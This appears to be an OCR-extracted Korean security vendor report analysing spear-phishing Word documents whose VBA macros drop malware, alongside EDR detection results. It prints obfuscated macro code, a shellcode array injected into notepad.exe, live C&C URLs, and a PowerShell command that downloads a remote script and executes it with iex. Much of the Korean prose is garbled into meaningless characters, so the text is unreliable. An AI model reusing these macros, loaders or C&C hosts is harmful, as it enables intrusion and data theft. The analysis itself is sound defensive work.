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52 =HMoIR2H, 0|50 =W FQ 7|, IYR A YAULME SHZ A0|0I|Y(Spear-Phishing) &
s ™ XIELAHAPT) SA| Arget AR AT ETH MY Z2M W22 2510 0|5 245U 0|S HIZC 2
A= = BIME Sofl Set9] ofid 289| ofd ZME 0188t A4S ARH0| o & XHEHE = UAES Al

1.2 oY g
- =22| 22 MM £219f 2t .doc
Type Microsoft Word &A] I

Behavior | VBA Macro
SHA-256 @ 700db4ae28f53782d239e83db189¢7¢956b06f61e04cb4abbff4bc759faal70e
Description = VBA Macro Embedded Word Document
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Type Microsoft Word 2A] I
Behavior | VBA Macro
SHA-256  ca7eecb0d135f064da15343c08811ef6b8be083c0ea848249c58ae387¢53f322
Description | VBA Macro Embedded Word Document

[ 2] Z7PAOIHPHMEE ATt Sot0] FE EHY ofd 2A T

Type Microsoft Word 2A] I
Behavior | VBA Macro
SHA-256  934731692b12fd182acbc698dd3f8ef59984aade7ef56e12419851852878817¢
Description | VBA Macro Embedded Word Document
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Type Microsoft Word 2A I+
Behavior | VBA Macro
SHA-256  0cfa89348dc6007c89852907e464f3e91060e83665d6d62243be225c0e2e44a9
Description | VBA Macro Embedded Word Document

Type Microsoft Word &A1 I
Behavior | VBA Macro
SHA-256  137ae3c16f1d6d3e8008e4635bc8ab1f12272e16f6f38dc35¢3570ab212¢c2cd9
Description = VBA Macro Embedded Word Document

(It 5] A 2| S 0|18 Sote] FE Y AY &M It
Type Microsoft Word £A] It

Behavior VBA Macro
SHA-256 | 79e15cc02¢6359cdb84885f6b84fachfo1f6df12564551750dd6421f96998db35
Description | VBA Macro Embedded Word Document
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Type Microsoft Word &A{ I
Behavior VBA Macro
SHA-256 @ 32fb66dbb18dd189337¢c9eabf27016494e62523985cb2886¢74271ffe921273b
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Figure 6: Email example used by the attackers
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3.2 #o1d B2 £

nx
X

2|2 VBA I E 2to|=a]2| AHE(MS Office, Internet Explorer T2 | A CH4f)
2|4 A2 2 WMI AFE(MS Office IEA|A i)
2

2 VBAT 233 AE (MS Excel T2 M| A T
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|H
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3.4 Privacy—i EDR & 0|8t 4™ 32 SA| oA
Microsoft Office Word HZF S 24 25 #2310

FME EA2E = bte] "2 X ALE E MR

This document is created in earlier version of Microsoft Office Word

I LICHZ ALY

=8 [l pai= o el (N}

[1& 8] Privacy-i EDR 9 |2tH 24 EH| SXt 51H

OF 34 TEE Helet [WEH|XIE].doc 2t= 2MEY S5t ol 182 2MY AT E Al 2HH0|CH 9

I WM [E2MATF I AE U 2HE B HAIXKIS &ele 4= QU0 Ol Privacy—i EDR FoFE SH|
S o

7150l Ofah FOH BH0| HXIT TRHAS YR B2 BORM FHOUH BHO| (et LHLIOR SHE 4 9

oz

-10 -

%1 SOMANSA



7t Security Report

No.31| 20214 11 ¥

4. MH 2Z A2 241t Privacy-i EDR HX| M

ol

Mo

=
1o

10

i

S M 7K RYLE EREH, 012t

i
=S

ALE3ITY. 0

ol

=
r

110
X
__|o

<M
of
ol
]

OH

Pl
P

E_IE

ol

=
M

{[e]
i

<N
1ok

100

719 Al At

712

o4

Ok
4

110
i

il
of
ol
U

OH

1). 4.1 53t0] 22 M2 2219] 2t doc

H 11 7]

S
=]

2lst

ol

3).4.3

4). 4.4 210811_LFHH(AIO|HQF).doc

ofCt.

1). 4.5 At2{H| XI52|2|M.doc

2).4.6 7%

H|X|Z.doc

|.

=
=

Hefiaret S 712

1). 4.7 TMT HeliZ271-20140428.doc

-
1o

11 -

#1 SOMANSA



7t Security Report

No.31| 20214 11 ¥

4.1 Soto| |2 M2t 22]9] ot doc
4.1.1 Word A £7| &}

1) MOtAT BE2E ASE S Y2 HIFSUL. | 2EIAE

sato] Hz HAY a0 .

H =& ZF|7] alF.

*

HHEE SIpEe 62 17U =52 Y= Mzl Msa dzlelolMq

(2128 9] Soref 22 FM H A0 thalf HEet =ot oid 182 =M oA =7 ofH

A7t 2D E(ScarCruft) 2189| 2 34 U2 254 &2 =S¢t & FX ¢EQ, &3 27|18 st 22
=eof o HX H 2=0[0 5of, 2 EAY AdIEE U YEA TAKXE AFZotH 58 AEAS] BAXIA
EAY AgIE MU0l HEEH HLS LS. A 2M WE2 ST a4S SRV /et o 2AXE
HO[X|ZF ofd VBA Macro & &&llot/| ?lafl MAEAINAH Hets 2+ot= ZH= AIE HEO| UL oid HES

If Mot automorphismobwS1.FileExists{Bujumburadv151) Or automorphismobws! . FileExists{dosage

apathyfcz2b1 val
End If

ThisODocument . Saved = True

precisefclhl

Else

peroxidefcdsl (13

precisefclhl

Dim fn11Ggodsend As String

Oim owvblstatesman &s Word.spplication

et owvhblstatesman = CreateObjecti{Chr$({87) & "ord.&p" & "pli" & "cat” & “ion")
fni1Ggodsend = ThisDocument . Ful IName

owvblstatesman.¥isible = False

owvblstatesman.Documents.Open fnll16godsend, ReadOnlw:=True

End |f
Kaspersky Anti-Virus C:\Windows\avp.exe
Kaspersky Service C:\Windows\Kavsvc.exe

o}22| ViRobot Anti-Virus | C:\Windows\clisve.exe

(22 10] M QFHTE L 204 VBA Macro & Hot T2 I3 Q3|
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o4 VBA Macro = 37| 5 7HRI| Of4 #4912 AT, BIN, 2 0] AAR LY 91 M| 74X Bot B2
QLS SOISICY, 210 9| K THN| ZRIY 3 Si2AE oY Z20| ZMSICR, KHA(Mutex)S YAI5/0] HOt
22 OIYTES CHA AUYBITH B1of BE EXYGHK| SHECHRA, OF VBA

4.1.2 2ot D=3l B01 A ofd

Private Sub peroxidefcdbiinewvalue A&s Integer)

Oim kneltwswl6 As Object

Oim quignolrgvhl &s String

Set kneltwsvl6 = CreateObject{Chr${87) & "3" & "cr™ & "ip" & "t.” & "sh” & "ell")

quignolravhl = “"HKE" & "EY_CUR" & "RENT_U3" & "ER#iScf” & "tware®Mic” & “"rosoft®0f" & "fice#” &
kneltwsylG.Reg¥rite guignolrgyhl, newYalue, “REG_DWORD™

End Eub

Private Sub precisefci&i()

sensiblemtv16 = CreateMutex(0, 1, “sensiblemtwl16n”)

Oim er As Long: er = Err.LastOlIError
If er <= 0 Then
Application.Displavdlerts = False
dpplication.Quit

HEIAH sensiblemtv16n

HY HXAELZ HKCU\Software\Microsoft\Office\[Version]\Word\Security\AccessVBOM

(O3 1] Hot T2 03 W A] 2 e

12| [sensiblemtv16n]2t= 0|22 FEHIA(Mutex)E MAGH SA| ASHS
1 2 $H5it iy HXIAEZl= MS Word M0 2= Macro 2] A2 EE LIEHHE ZO2AM 1 2 458t
=2

8%, 2E A W Macro & tl=lot= A2 2 71506104 ALS A0 A Z2HI= At

o1, =

0x

kU

n

i

>
)

ot

ol

0

dAIAER 28 = ENY
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4.1.3 EOF m2 73 nj3fel A] oY &S

Fublic Function whereasfchSi{kernelBlss 45 String) As String

Dim newspapermansoyhl As String

Oim arclengthszevh! A5 String

newspapermansoysl = "B" & "U+13r7J494 jdwsvD5h" & " 2Wp0" & "OGFbmMEPCcLelj” & “{kogHs
arclengthsevhl = "w&tC,uY¥z" & "=Z0R3BaM4F" & “qnOGh 2WpOOG" & “fomMKPcLelj{k" & “ogH
Oim sagittariusjevhl Az 3tring

Oim i

Oim i

Oim rimelevbl

rimelevdl = Lenf{arclenathseydl)

For i =1 To Len{kernelG1ss)

Oim patrioticcovlf As 3tring

patrioticcovlE = Mid{kernelGlss, i, 1}

For j =1 To Len{arclengthsevsl )

Oim tornctw16 As String

tarnctwls = Mid{arclengthsevsl, j, 13

|If patrioticcoviG = tornctwl6 Then

Sagittariusievd! = Sagittariusievd! & Midi{newspapermansovbl, j, 13

Exit For

End If

(12 12] 2ot T2 7728 O]z A ok
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201 D2 30| ALK 42 P, £71HLI Oy HPIS 17| YIH LITE Macro & LIZT5H0] 4TS Q1M

X

—

02
roh

HCt

4.1.4 VBA Macro 43Y

encoded | 2hTslrnyahPsmsT\x0d\xOag#pnIv0YnigKr\x0d\x0annnnbusMBTK..

key1 v&tC,uYz=Z0RS8aM4FgnD5h2WpQOGfomNKPcLelj(kogHs. #yi*IETEV7JX9A)dw...

key?2 BU+13r7JX9A)dwxvD5h2WpQOGfbomNKPcLelj(kogHs.#yi*IET6V&tC,uYz=Z0RS....
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415 ORY % QI=iMd 48 115

&HFF,
BHET,
&H3E,
&H40,
&HCE,

&HFF,
&HOC,
&H50,
&H50,
&HALC,
&HEE,

Oi
Oi
Oi

Oi
Oi
Oi
#1

src_str = Array(&H55, &HBE, &HEC, &H83, &HEC, &HZC, &H50, RHEB, &H4, &HO, &HO, &HO, &HE5,

&H55, &HF4, &H39, &H45, &HFC, &HCY, &H45, &HO4, &HYT, &HE9, &HGE, &HG9, &HCT, &H45,

gH1, &HO, &HO, &HE89, &H45, &HFZ, &H33, &HYD, &HF3., &HO, &HY4, EBHC. &HZE, &H4D, EHFC,
EBHFZ2, &HVZ2, &HFG, &H5E, &HC3, &HBO0, &H39, &H3C, &HTH, &HZ1, &HEBO, &H7I, &HI1, &H3F, &
BHC, &HZ9, &H4D0, #HEC, &HZB, &HTE, &HC, &HE9, &HAT, &HO, &HO, &HO, &HEE, &H47T, &H30,
&HO, &H80, &H3C, &HF, &HG1, &H39, &H55, &HFS, &HTC, &HS, &HS8EB, &HCZ, &HS83, &HCO, &HE

EH4, &H89, &H4D, &HFB, &HEB, &HDI1, &HB9, &H45, &HE4, &HS8A, EHA, &HCY1, BHCF, &HO, &HF, EHBE

&HFF, &H33, &HCO, &HSF, &HSE, &HSEB, &HC9, &HC3, &HEBB, &HYS, &HFO, &HS3EB, &H44, &H1G,
&H40, &H79, &H41, &HGT, &HC?, &H45, &HEO, &HG5, &HGE, &HY4, &HO, &HES3, &HOF, &HFE., &
&HE9, &H50, &HES, &HFF, &HDG, &H89, &H45, &HE4, &HB5, &HCO, &HV4, &H3F, &H57, &HES,
&HEQ, &H&56, &HFF, &HD3, &HFF, &H75, &HE4, EHFF, &HD3, &HBRB, &HC7, &H5F, &H5HE, E&HS5E,
&HY9, &H33, &HT3, &H5A, &H48, &H44, &H3Z, &H4C, &HED, &H31, &HVA, &H4C, &H33, &HSS,
BH43, &HE7, &HZF, &HT2, &HEF, &HEF, &HT4, &HZF, &HG3, &HEF, &HEGE, &HT4, &HE5, &HEGE,

Oim start As STARTUPINFO

m Return¥alue &s LongPtr
m ret As Long
m hThreadlD As Laong

start.ch = Len{start?
start.dwFlags = STARTF_USESHOWW INDOW
start.wshowWindow = SW_Hide

m hGlobalMemory &s LongPtr, | As Long
m b¥alue As Long
m bls64Bit As Boolean
f Wing4 Then
Dim FS0 &5 Object
Set F20 = Createlbjectf"Scripting.FileSystemdbject™ )
Oim windowsDir &s 3tring
windowsDir = FS0.Get3pecialFolder(0}
windowsDir windowsDir & "#WewsWOWG4#notepad. exe”

(17 13] LI2T 5 QRN 48 11

T L= T =

LT 0| 2= & £ Macro = 12 22 JEE 2QIL ? Macro = QA 3l A, AR DY S Aot/ ?Iet

oo
OpCode 7} ZetE #TFE(&H55, &H8B, &HEC)Z AIRELCE SHY 2td Macro & QMM 1HHOA,

CreateProcessA 42 SZ6l0 notepad.exe Z2MA S Mot HHCE QIMMSHS A A EE Mol

O &M |
—_ 71—

[

%':’E% AlS 6H:|-'

1

C&C
AH

https://api.onedrive.com/v1.0/shares/ulaHROcHM6Ly8xZHJ2Lm1zL.3UvcyFBalVyZDlod
UTwUWN[TGt4bXhBVOpjQU1ja2M_ZTTmUnc4VHg/root/content

H 4] C&C AMHf B

o T2 MHA LHOIA InternetOpenUrlA APl £ SESICE 0|2 S5 229 Onedrive C&C

H
MEO] ot XML Itz FFE= HO|2E8 o2t e fdlti= C&AC MHeE HZO0| 7151,
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4.1.6 Privacy-i EDR H4H 84Xl 7|5 ©X| (519 |2 HAH|2t 229 QtH.doc)

4.1.6.1 &X| HE (exploit.execute.suspicious—macro)

=2 oaZzal exploit.abuse.macro 'J%l' WINWORD.EXE
Z10|&: exploit.abuse.macro A AT
BEA: somansa 25 g|AZzo)
ZAFE 0|F: DESKTOP-G54Vv14 D=4~ 01F: WINWORD.EXE
D=4 A 2@ 0HE siA| : 3bb0bT7e25bdecdaldedTead327995f26f3fd9cB5f5c0daTocc0faiTeeb0df806 1 @ &
g & [ (o) FE:
> E Suspicious Behavior : exploit.abuse.macro
> Suspicious Behavior : evasion.hide-artifact files_directories.4
> Suspicious Behavior : discovery.acquire.active-window.2
> Suspicious Behavior : discovery.acquire.active-window.1
> Suspicious Behavior : discovery.acquire.file-time.1
> Suspicious Behavior : discovery.acquire.network-configuration.2
> Suspicious Behavior : collection.capture.keyboard. 1
> Suspicious Behavior : discovery.acquire.system-information.11
OHIE &M
olg &l
szlUserMame scripting.filesystemobject

(12! 14] Privacy~i EDR 2 £X| 7152| Macro 324 222 S8 3o x| My

Privacy-i EDR oM SH| 7152 2M8 opTC(s3tol 212 M2t 212 Ot doc)S S8t 214 Macro

FOPH 180 Th3Y £/2H T202 EIXIGIT UTH AAIZIOR T2 A|A0 9|2 DUE(R F, 2 Macro HofH
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4.2 MO|HZ4 O3 & 2tl.doc
4.2.1 Word 2A =7| g}H
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1. Microsoft Office $E X2 1W & o] &3] FAFE Y},
By FAE 2991 vl R & A Q84 5y

2. "23F £ H$HFAM EAE YT

RIE TAE 2okl 717194 AdE dEA @42  AsU

3. B4 49X "HAAE” BEL FE F WX AET & F7 FASL.

=
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T/IAOHAHHHE APotACH, 54 td2 /MO ME = =7t 718E AFEe Set ol 289
M

=
180 REE0 MY AYIEE HASIUL. 4 W0 EAY AGIEE HHoHH

O

ZH0| T2t VBA Macro dS UK, K= [2HX ME] HES S0 25 EH EME 2 5+ Atks
H e

1Y Has Sdl 288 R0

Q
a
%

i

T

ot VBA Macro 7 MaiE|iCt

4.2.2 24 VBA Macro 24

Sub MainPage{resp)
Document s, Add

hs = "0n " & ¥RAFY & "Err” & XRdFY & "or " & dEXD % "Res” & XRdAFY &% “ume”™ & dEXD & " MNe™ &
Ui = "sam” & dEXD & "sod” & XRAFY & "ing" & XR4AFY & ".ho" & KRdAFY & "mm7" % ¥RdFY & ".ge”
hs = Replace(hs, “sxs", Uil

rp = resp & "#H15" & KRdFY & "899" & dEXD & "890" & XRdAFY & "24." & dEXD & "s=ml”

4ctiveDocument , Range, Text = hgl
ActivelDocument . Savedse FileMName:=rp, FileFormat:=wdFormatText

[OE 16] 2AMY AMTE LY LIRS 24 VBA Macro

otd VBA Macro 7t A=H £7 H=0f VBScript A2 A& Script MAS XML 2HEXIZ -3t}
XML Aoz &St VBScript YR 0| C&C AHO| HZS 43St siE 1-H0A VBScript TS
AlBiE7| QI WMI HES E5F Wscript.exe Z2MA A3H0| 43121 0|2 E35| VBScript = 22 A9

PC OIlA C&C AMH{of &

mjo

FeobA L.
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4.2.3 WMI ZES Sall H3%= 24 VBScript

fwzcript exe 3,604 K 14,560 K. 7624 Microsoft @ Windows B,,, Microsoft Carporation
StarttdenuExperien,,, 20,656 K 43,3584 K| G020
BuntimeBrokel Command Line:

waecript,exe Aevbeoript b O U zerstWeomanzai ApphatatWPoaminghicrozoftwTemplate st 539939024, xml
Path:
CowWindowsWIystem3IZ¥wscript.exe

RuntimeEraoke

.
[ 17] WMI HEE 5ol VBScript & &ldiots Wscript.exe Z2M|A

XY WMI HHES Saf MHE Wscriptexe Z2AHAE XML SAOZ2 XZE VBScript A9

1z

?a dd
AYTES M ot=dl, 0] o [e] SH [b] SHO| H +AHECE [e] SH2 Wscript.exe Z2HAS Sl
A= Y OFol =yFHO| XML It Z0] FYYXO[X| S0 = WScript.exe Z2AA L LiFE VBScript

=
ATIS Sol HA0| 7I5ot=S otH, [b] M2 1L LF HAXIE E0IA| Y0t WScript.exe £ &et

VBScript 7} 224 THAIO| QIX[SIX| 25t ALEHOIA AlSHE 4 QIZZ it

CmdLine wscript.exe //e:vbscript //b [%AppData%)\Microsoft\Templates\ 1589989024 .xm|

H 5] Wscript.exe 2 £8 S8 S8t VBScript &

Path [%AppData%]\Microsoft\Templates\ 1589989024 .xm|
C&C http://samsoding.homm?7.gethompy.com/plugins/dropzone/min/css/list.ohp?quer
y=1

(B 6] XML A9 VBscript Y MM A=Z 2l C&C AH M2

WMI BE S Soli delikl= XML 49| VBScript It =2 C&C M Y= {12t 2L Stz C&C M7t
0]
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4.2.4 Privacy-i EDR #H S| 7|5 ©X| (A0|H3Z thS W 2tH.doc)
4.2.4.1 ©X| HE (exploit.abuse.wmi)

jewdream_00010  10.103.16200 exploit.abusewmi WINWORD.EXE [ =2 |
AN 0|&: exploit.abuse.wmi HEf: H7

EER: somansa THE:

ZEE 0| : DESKTOP-2CHLMOS 24~ 0lS: WINWORD.EXE

I=HA HE: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
L= M2 0|0|x| IHE SHA - c0a081le6d5e02T79bed503f26f0b01bcedeebfldfbasfcbedfba35f381d111dad 31 @ &

the 23

> E Suspicious Behavior : exploit.abuse.wmi

> Suspicious Behavior : discovery.acquire.file-time.1

> Suspicious Behavior : discovery.acquire.account.1

> Suspicious Behavior : discovery.enumerate.file-directory.1

> Suspicious Behavior : discovery.acquire.system-information.s
o= gt

a_9D(T;&tNEVFBUserWin32_ProcessUserCreateQOMEOWsMKLSE:K.51xV45 sy PARAMETERSabstractCommandLinestrin
and Thread Functions|lpCommandLine MappingStrings)7* ID&Y* stringCurrentDirectorystringlnWin32API|Process and T
Functions|CreateProcess|lpCurrentDirectory MappingStrings)+ ID&+
rstringProcessStartupinformationobjectinlWMI|Win32_ProcessStartupMappingStrings)f DIDGf
Dobject:Win32_ProcessStartup=x__ PARAMETERSwscript.exe /fe:vbscript //b
C:\Users\JeongGeonWoo_VM\AppData\Roaming\Microsoft\Templates\1589989024.xm|

[23) 18] Privacy—i EDR /2% SH 7152 WMI B2 0183t 308 gX| Ha

Data

Privacy-i EDR #2fF SHl 7Is2 MY AGIE(MOHSA S YY 2f.doc)s S8 42Xl WMI
dES HAols IS 7Y SH2=2 Aot AN Ol= AR 718 HAIZAM, ALz

— o
SUHEY ot £ ofd WMI B2 S2F F4d S0 Xl K tSst= 7Is0IH.

-19 -

%1 SOMANSA



7t Security Report

No.31| 20214 11 ¥

4.3 113k A 11 7| H=H2I¥3| HE (H).doc
4.3.1 Word &AM =7| &}H

Ju
nx
03
39
if
i=
n
rH
e
|
2
ofo

! BrED IES MET F2E

¥ Microsoft

PROTECTED DOCUMMENT

(T8 19] =0l A2 E 2o E M2 YTt 5ot oid 182 =M 4gTE 77| =1

M
Ao
ron
:CE
oM
]
il
10
Ho
>
ot
12
0%
kL
[n
0x=
1]l
ro
En

ISk A 11 7] S HH (£8).doc]0l2t= & Ma=S
=

4.3.2 214 VBA Macro 24 (1)

Private Sub Document_Opent )
asfwefsadfasfsadf
asfwafasfsdafas

gifhhdfasf iedf

End Sub

(O3 20] 2MY AHTE W LIXE VBA Macro

OlotH Document_Open {27} AFRElE S EQIE £ QUL 0]

<
o
>
<
Q
Q
o
M
i
a:

i
Macro £ 2A7t G2 & I M|, LHEHMO 2 [asfwefsadfasfsadf], [asfwqgfasfsdafas], [eifhhdfasfiedf]2t
L

2 2 4= QUL Anti-Virus HZ2Q HX M 23|24

AHIALE BMILY 012 S flall 7IE2 Macro & H=3t 5t 20|
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4.3.3 214 VBA Macro 24 (2)

Function eifhhdfasfiedfi)

et difeihfidkas!|if = Create0bject{"Shell. &pplication”)

Oim dfadfjiejfidshaj As String

Dim vhihfidhfdhfuesk{10) As String

dfadfjiejfjdshaj = "tuwhnptuwhnotuwhnwtuwhnetuwhnrtuwhnstuwhnhtuwhnetowhnltuwhnltuwhn, tuwhnetuwh
dfadfjiejfidshaj = Replace(dfadfiieifidshai, "tuwhn”,

vhjhfidhfdhfuesk{0) = "tuwhnltowhnstuwhnttowhnetowbnitowbnntuvbnatuwhn] tuwhndtowhnatowhn=towhni t
dfjdiafjliji = Replacelvhihfjdhfdnfuesk({0}, "tuwhn", "")

vhjhfidhfdhfuesk{1) = "tuwhnMtowhnetuwhnttowhn, tuwbnWtowhnet uwbnbtushnCtowhnl towhni tuwhnetowhnnt
dfjdiafjilij = dfidiafilij & Replace(vhjhfjdhfdhfuesk{1), “tuwhn”,

vhihfjidhfdhfuesk({2) = “{ ‘htuwhnttuwhnttuwhnptuwhn: tuwhn/tuwhn/tuwhnmt uwhnatuwhnntuwhnect uwhnttuwh
dfjdiafjilij = dfjidiafilij & Replace(vhjhfjdhfdhfuesk(2), “tuwhn”,

whinfidhfdhfueski{3) = "tuwhn}tuwhn: tuwhn$tuwhnbtuvhn=tuwhn$tuwhnatuwhn, tuwhnituwhnntuvhnstuwhnet
dfidiafiliji = dfidiafilii & Replace(vhinfjdnhfdnfuesk(3), “tuwhn”, "")

whinfidhfdhfueski4) = "tuwhnotuwhnwtuwhnntuwhnl tuvhnotuwhnatuvhndtuvhnstuwhnttuwhnrtuwhni tuwhn' t
dfidiafiliji = dfidiafilii & Replacelvhinfjdnfdnfuesk({4), “tuwhn”, "")

whinfidhfdhfueskis) = "etuwhnztuwhn tuwhndtuwhnbtuwhn: tuwhnituwhnetowhnstuwhn tuwhngtowhnctuwhn”
dfidiafiliji = dfidiafilii & Replacelvhinfjdnhfdnfuesk(53, “tuwhn”, "")

difeinfidkas!|jf.Shel |Execute dfadfjiejfidshai, dfjdiafjlii, "". "open™, 0

End Function

(22 21] 2MY UHTAE L LS VBA Macro

H=2tE VBA Macro £ HSa/t €25 oiM=l Xl FFS Mo ==

PowerShell 20| $a4=IC}

dfgdfjiejfjdshaj powershell.exe

[string]$a={(New-Object
dfjdiafilij Net.WebClient).Dng(http://manct.atwebpages.com/ck/uy.txt)}; $b=%a.insert(
28,'ownloadstri);$c=iex $bsiex $c

(B 7] =2 U5 oM = 242 X21 PowerShell &

9] 21|21 PowerShell H&S SQI5121 [dfidiafili] #14 Uf [Dnglats 2XIES 5013 4 ULt 0] 0j% A3
DHOIA =31t 2475] SR/, [DownloadStringlOl2ts SXH2 XI&H61H| H=t) Ol PowerShell ISR
o2 AHOIA 2XIRO| HEIR HO|REES WOLS 4 U 715 FHEC

4 @ WINWORD.EXE 2444 4349 MB  WIN-4LHT14B. #USER  Microsoft Word
Epowershell.exe 3008 003 5712 MB  WIN-4LHT14B. WUSER  Windows PowerShell
"C:HWindows#System3 2%WindowsPowerShel vl 04 pov "—I*’|‘|"—||.ELCE f‘rlmj $a={({Mew-Object Net WebClient).D
ng('http://manct.atwebpages.com/ck/uy txt 1 5b=%a. |nft|+. ‘ownloadstri):$c=iex $hiex $c

[ 22] 2AY AHTE LY LHJgEl VBA Macro

0|12 Solf 219 J8XMH 24Xl HHO| 0] PowerShell 0] WINWORD ZZA|AL| XAl T2 MHAZ N
Ml 0] & oMol HHO=Z C&C AMH(http://manct.atwebpages.com/ck/uy.txt)0fl HZ3H F7+xQl
oM H0|2=5 CHRE0F MaiSHT) SA= C&C AH|7F H£0| 27610 HZO0| MIiSHCt
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S| S (7).doc)

4.3.4.1 &X| HE (exploit.abuse.powershell)

T2~ 0|0|%] THE 2HA| :

ez o (o)

=2 9 AZE0 exploit.abuse.powershell IJ:l' WINWORD.EXE
Z10|F: exploit.abuse.powershell AHER: AT
&t somansa e et =4
HFE 0|F: DESKTOP-2CHLMOS OI=HA0|§: WINWORD.EXE

c0a081etd5e0279bed503f26f0b01becedecbfldfba5fcbedfba35f881d111dad 3 @ &

ki

HE -

> E Suspicious Behavior :

> Suspicious Behavior :
> Suspicious Behavior :
> Suspicious Behavior:

> Suspicious Behavior:

exploit.abuse.powershell
discovery.acquire.file-time.1
discovery.enumerate.file-directory.1
discovery.acquire.locales-information.1

discovery.acquire.active-window.1

"C:\Windows\ System32\WindowsPowerShell\v1.0\powershell.exe" [string]Sa={[New-

Object Met.WebClient

[1& 23] Privacy-i EDR

FofH EX| 7|59 24 PowerShell E

(o] ¥ S|

BHAIZE

PowerShell BS Mot 3218 HY 3202 YXISIT YUCH Ol B JI¥ YXRA, HA
m2MAS| HOIS PLIER 3t % Ot PowerShell BHS S8 o 20| A U ChS5ts 71S0/CH

%1 SOMANSA

- 22 -




27t Security Report

No.31| 20214 11 ¥

4.4 210811_YFHZH(ALO|H Q) .doc
4.4.1 Word &AM =7| &}H

) MotAD 32E AST £ USE £XTEUL. | A AR

icrosoft Office
GO0 05 @ 0 O

a
QZ

ZH2E 2224 gaUrt

SEHSHZ ZUAE SHE2H B84 eyt
SH|E sHZBHAI2{ W, of2fo] 22| S8 X A5t 2.

' Microsoft Office | && 0|88t EAM& @Yt
v HEISE == HE ALE

v 2AM T2 "HUAEHES SHSIAIL "2H 2 ALRTHES EH5IM 8.

4.4.2 24 VBA Macro £4

= g
22i2 QI BOF HYXT 52| 37 THO| ol BIES S2UoHH o4 VBA Macro 7 HHSIC,

Sub MainPage(resp)
Documents, Add

hs = "0n Error Resume Mext:Set my = Createdbject(”"Microsoft, XMLHTTP"" Jim#,open " “GET'
ui = "gosiweb.gosiclass. comdmSanus/convert/default/8ef014a”
hs = Replacelhs, "xxx", uil

rp resp & "#15839939024  =ml”
Act ivelocument .Range.Text = hs
Act ivelocument . Saveds rp, wdFormatText
Act iveDocument .Close
et wnlbi = GetObiect("winmamts: wind2_process”)
| wnlbi.Create "wscript.exe /feivbscript /b " & rp

Lo tUhttes

(12 25] 2MY AT E LY LHEHE VBA Macro

=M AGIE W VBA Macro &= Anti-Virus ME2 8 242 3l0joty, AHTE 244719 Al
22[5t7] Il C&C MM FAE H=21610] YU o VBA Macro 7t A&, H=217} SHRIE L W
HAHS S Wscript.exe T2AM|A ASH0| $-34FIC
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443 WM| ZES Sall H3%= 24 VBScript

4 [87) sychost exe 632 4 MB  NT AUTHORITY®SYSTEM Host Process for Windows Se...
4 B WmiPrvSE exe 1596 734 MB  _WMNETWORK SERVICE  WMI Provider Host
& wscript.exe 2956 498 MB WIN-4LHT14B. _WUSER  Microsoft ® Windows Based ...
E Svchn,stexe i i | A T2 RAD LUMICTAD Y CODN D Llnrt O rr Fme A fimeA r T
= P [ vscript.exe /fevbscript //b C:H#UserswUSERWAppDatawRoaming#MicrosoftwTemplates#1 589989024 xml l

[18 26] WMI HHEE Sdfl £3=|= WScript Z2M|A 2 VBScript A8

-

XME WMI HES Sl ]

S
S

>

4

I

¢ MME Wscript.exe Z2MA= XML @AO= X&EE VBScript
AHIEE MESh=H, O] M [e] SN [b] SM0| A +ELE [e] SHE Wscript.exe ZEMAS Sal
A= Oy Mol 2EHO| XML 2 20| HAHOIX| 2430z WScript.exe ZEMA L LIEE VBScript
AXIS Sl AE0| 7tsoteSE o, [b] SH2 ZilLt 2F HAXIE £=5HX| 20t WScript.exe £ S8t

VBScript 7t S4 0] 2AX|GHA| 2t HEH0A SHlE 4 U=

I
rol

Ct.

CmdLine wscript.exe //e:vbscript //b [%AppData%)\Microsoft\Templates\ 1589989024 .xm|

[H 8] Wscript.exe 2t £3 S48 &8t VBScript &8

Path [%AppData%)\Microsoft\Templates\ 1589989024 .xml|

C&C http://gosiweb.gosiclass.com/m/gnu/convert/default/8ef014a/list.php?query=1

B 9] Wscript.exe 2t EX 2M2 S35t VVBScript A3

WMI 833

H40| 2715t

off Malkl= XML 419 VBScript It AZ22F C&C MH ME= 2|2t 20 SXlil= C&C AH 7t

E
o
0 HZ0[ HIHSHC.
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4.4.4 Privacy-i EDR F2f& SH| 7|5 B©X| (210811_FH2H(A0|H{FH).doc)
4.4.4.1 X HE (exploit.abuse.wmi)

jgwdream_00010 10.103.16200  exploitabuse.wmi WINWORD.EXE | =2 |
Z10|E: exploit.abusewmi HEf: M7

EET: somansa THE:

ZEE| 0| : DESKTOP-2CHLMOS ZZH2 015 : WINWORD.EXE

=M A HE: C\Program Files\Microsoft Office)\Office 14\WINWORD.EXE
D= HA 0|0)x] oY 84| . c0a08le6d5e0279bed503f26f0b01bcedeebfldfbo5fcbedfba35f881d111dad 31 & &

CHE Ea:

> E Suspicious Behavior : exploit.abuse.wmi

> Suspicious Behavior : discovery.acquire.file-time.1

> Suspicious Behavior : discovery.acquire.account.l

> Suspicious Behavior : discovery.enumerate.file-directory.1

> Suspicious Behavior : discovery.acquire.active-window.1

> Suspicious Behavior : discovery.acquire.system-information.3
ol o

+X0vkH="5#5BN*GUserWin32_ProcessUserCreateQQMEOWsMK.SE:K.51xV45"sv__ PARAMETERSabstractCommandLinestringTl
and Thread Functions|lpCommandLine MappingStrings)7* ID6Y* stringCurrentDirectorystringlnWin32API|Process and Thread
Functions|CreateProcess||pCurrentDirectory MappingStrings)+ D6+
rstringProcessStartuplnformationobjectinLWMI|Win32_ProcessStartupMappingStrings)f DID6f
Dobject:Win32_ProcessStartup<x__ PARAMETERSwscript.exe [fewbscript /b
C:\Users\JeongGeonWoo_VM\AppData\Roaming\Microsoft\Templates! 1589985024.xml

(23 27] Privacy-i EDR F4H SX| 7152 WMI BEE 08¢t FUH X g2

Data

S 2AH OMHTE(210811_YLAAIOIHOIH).doc)S S3t 2Ll WM

Privacy—i EDR 2™ SX| 7|5 =
FHS AAol= S48 FUE S4C= 2ot ULCL Ol AP 7|8 EX=2M, HAZICE D= AL RIS

ZUHY ot £ ofd WMI B38E S2 9y sS40 84l H tiSot= 7Is0|H.
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4.5 A|H| XIF2Z A .doc
4.5.1 Word A £7| s}

| mazas

! 8ot A0 B3ES AES £ giE= AEJSLC

o Microseit Werd

pelViewathislconten MeleaselclickiEnable]Editinggfiom!
thelyellowlbafandithenlclickiEnablel€ontents

(23 28] =t ofid 152 ZMYE AYTE £7| 31H

@ Declimenicicatedlinkearli€ Ve rSiOn

= 5etold 189 EMY AGIE WE2 (M| XAIZ2I2 M. doclets ZMEE ALZSHH STH d2IE o1&t
Hs REOIACH, 34 Y2 Mbl2ts SHHY H2E Sl o =AY o
o

